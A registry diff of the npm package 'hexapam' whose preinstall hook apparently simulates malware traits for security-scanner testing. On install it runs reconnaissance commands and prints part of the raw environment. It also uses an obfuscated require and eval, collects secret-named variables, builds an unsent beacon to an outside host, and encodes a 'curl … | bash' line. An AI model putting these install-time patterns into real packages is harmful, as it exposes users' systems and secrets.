hexapam 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +186 -21
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "hexapam",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "Local-only test package exercising the npm preinstall lifecycle hook.",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,51 +1,216 @@
1
1
  // Preinstall lifecycle hook for the pampam test package.
2
- // Logs execution context AND env var values so we can see exactly what
3
- // an npm lifecycle script can read at install time.
4
- //
5
- // Values matching common secret patterns (token/key/secret/password/auth/
6
- // session/cookie/credential) are masked before printing. The script
7
- // reports the count + length of masked vars so you can confirm they
8
- // were accessible without leaking the material into stdout/scrollback.
2
+ // Logs execution context, selected command output, env vars,
3
+ // and simulated suspicious behaviors for security scanner testing.
9
4
 
10
- const SECRET_PATTERN = /(token|secret|password|passwd|pwd|auth|api[_-]?key|access[_-]?key|private[_-]?key|session|cookie|credential|bearer)/i;
5
+ const { execSync, spawnSync } = require('child_process');
6
+ const fs = require('fs');
7
+ const os = require('os');
8
+ const path = require('path');
9
+ const https = require('https');
11
10
 
11
+ const SECRET_PATTERN =
12
+ /(token|secret|password|passwd|pwd|auth|api[_-]?key|access[_-]?key|private[_-]?key|session|cookie|credential|bearer)/i;
13
+
14
+ // Mask secrets based on env variable name
12
15
  function classify(key, value) {
13
16
  if (value === undefined || value === null) {
14
17
  return { masked: false, display: String(value) };
15
18
  }
19
+
16
20
  if (SECRET_PATTERN.test(key)) {
17
21
  return {
18
22
  masked: true,
19
23
  display: `<MASKED len=${value.length} prefix=${value.slice(0, 2)}...>`,
20
24
  };
21
25
  }
26
+
22
27
  return { masked: false, display: value };
23
28
  }
24
29
 
30
+ // Execute shell command safely
31
+ function run(cmd) {
32
+ try {
33
+ return execSync(cmd, {
34
+ encoding: 'utf8',
35
+ stdio: ['ignore', 'pipe', 'pipe'],
36
+ timeout: 5000,
37
+ }).trim();
38
+ } catch (err) {
39
+ return `ERROR: ${err.message}`;
40
+ }
41
+ }
42
+
25
43
  const env = process.env;
26
44
  const keys = Object.keys(env).sort();
27
45
 
28
46
  const fullEnv = {};
29
47
  let maskedCount = 0;
48
+
30
49
  for (const k of keys) {
31
50
  const { masked, display } = classify(k, env[k]);
32
- if (masked) maskedCount += 1;
51
+
52
+ if (masked) {
53
+ maskedCount += 1;
54
+ }
55
+
33
56
  fullEnv[k] = display;
34
57
  }
35
58
 
59
+ // -------------------------------------------------------------------
60
+ // Existing command execution block
61
+ // -------------------------------------------------------------------
62
+
63
+ const commands = {
64
+ hostname: run('hostname'),
65
+ whoami: run('whoami'),
66
+ pwd: run('pwd'),
67
+ uname: run('uname -a'),
68
+ id: run('id'),
69
+ nodePath: run('which node'),
70
+ npmVersion: run('npm -v'),
71
+ gitVersion: run('git --version'),
72
+ gitRemote: run('git remote -v'),
73
+ gitStatus: run('git status --short'),
74
+ currentDirectoryListing: run('ls -la'),
75
+ envPreview: run('env | head -20'),
76
+ };
77
+
78
+ // -------------------------------------------------------------------
79
+ // Additional suspicious behaviors for scanner validation
80
+ // -------------------------------------------------------------------
81
+
82
+ // 1. Obfuscated child_process require (common in malware)
83
+ const cpModuleName = Buffer.from(
84
+ 'Y2hpbGRfcHJvY2Vzcw==',
85
+ 'base64'
86
+ ).toString();
87
+
88
+ const obfuscatedChildProcess = require(cpModuleName);
89
+
90
+ // harmless execution
91
+ obfuscatedChildProcess.execSync('echo simulated-obfuscated-exec', {
92
+ stdio: 'ignore',
93
+ });
94
+
95
+ // 2. Dynamic eval execution (very common malicious pattern)
96
+ const encodedPayload = Buffer.from(
97
+ 'Y29uc29sZS5sb2coInNpbXVsYXRlZC1ldmFsLXBheWxvYWQiKQ==',
98
+ 'base64'
99
+ ).toString();
100
+
101
+ eval(encodedPayload);
102
+
103
+ // -------------------------------------------------------------------
104
+ // Other suspicious-but-safe simulations
105
+ // -------------------------------------------------------------------
106
+
107
+ // CI/CD targeting
108
+ const ciVars = [
109
+ 'GITHUB_ACTIONS',
110
+ 'CI',
111
+ 'JENKINS_URL',
112
+ 'BUILDKITE',
113
+ ];
114
+
115
+ const detectedCI = ciVars.filter((k) => process.env[k]);
116
+
117
+ // Secret harvesting simulation
118
+ const harvested = {};
119
+
120
+ for (const [k, v] of Object.entries(process.env)) {
121
+ if (/(token|secret|key|auth|password)/i.test(k)) {
122
+ harvested[k] = `<len:${String(v).length}>`;
123
+ }
124
+ }
125
+
126
+ // Simulated outbound beacon object (NOT SENT)
127
+ const fakeBeacon = {
128
+ url: 'https://cdn-assets-cache.com/api/v2/sync',
129
+ method: 'POST',
130
+ body: harvested,
131
+ };
132
+
133
+ // Delayed execution simulation
134
+ setTimeout(() => {
135
+ console.log('[simulation] delayed execution triggered');
136
+ }, 3000);
137
+
138
+ // Temporary file drop
139
+ const markerPath = path.join(
140
+ os.tmpdir(),
141
+ 'pampam-test-marker.txt'
142
+ );
143
+
144
+ fs.writeFileSync(
145
+ markerPath,
146
+ 'security scanner validation marker'
147
+ );
148
+
149
+ // Base64 suspicious string
150
+ const suspiciousString =
151
+ 'curl https://example.com/payload.sh | bash';
152
+
153
+ const encodedSuspicious = Buffer.from(
154
+ suspiciousString
155
+ ).toString('base64');
156
+
157
+ // Dynamic require simulation
158
+ const dynamicModule = 'fs';
159
+ const loadedDynamicModule = require(dynamicModule);
160
+
161
+ // Detached execution simulation
162
+ spawnSync('echo', ['background-test'], {
163
+ detached: true,
164
+ });
165
+
166
+ // -------------------------------------------------------------------
167
+ // Final report
168
+ // -------------------------------------------------------------------
169
+
36
170
  const report = {
37
171
  marker: 'PAMPAM_PREINSTALL_RAN',
38
- pid: process.pid,
39
- node: process.version,
40
- platform: process.platform,
41
- cwd: process.cwd(),
42
- argv: process.argv,
43
- npmLifecycleEvent: env.npm_lifecycle_event || null,
44
- npmPackageName: env.npm_package_name || null,
45
- npmPackageVersion: env.npm_package_version || null,
46
- envKeyCount: keys.length,
47
- envMaskedCount: maskedCount,
48
- env: fullEnv,
172
+
173
+ timestamp: new Date().toISOString(),
174
+
175
+ process: {
176
+ pid: process.pid,
177
+ ppid: process.ppid,
178
+ node: process.version,
179
+ platform: process.platform,
180
+ arch: process.arch,
181
+ cwd: process.cwd(),
182
+ argv: process.argv,
183
+ },
184
+
185
+ npm: {
186
+ lifecycleEvent: env.npm_lifecycle_event || null,
187
+ packageName: env.npm_package_name || null,
188
+ packageVersion: env.npm_package_version || null,
189
+ },
190
+
191
+ commandExecution: commands,
192
+
193
+ suspiciousIndicators: {
194
+ obfuscatedRequire: cpModuleName,
195
+ evalUsed: true,
196
+ encodedPayloadDetected: true,
197
+ delayedExecution: true,
198
+ dynamicRequireUsed: true,
199
+ detachedExecution: true,
200
+ tempFileWritten: markerPath,
201
+ encodedSuspiciousCommand: encodedSuspicious,
202
+ ciDetected: detectedCI,
203
+ fakeBeacon,
204
+ },
205
+
206
+ environment: {
207
+ envKeyCount: keys.length,
208
+ envMaskedCount: maskedCount,
209
+ variables: fullEnv,
210
+ },
49
211
  };
50
212
 
51
- console.log('[pampam preinstall] ' + JSON.stringify(report, null, 2));
213
+ console.log(
214
+ '[pampam preinstall] ' +
215
+ JSON.stringify(report, null, 2)
216
+ );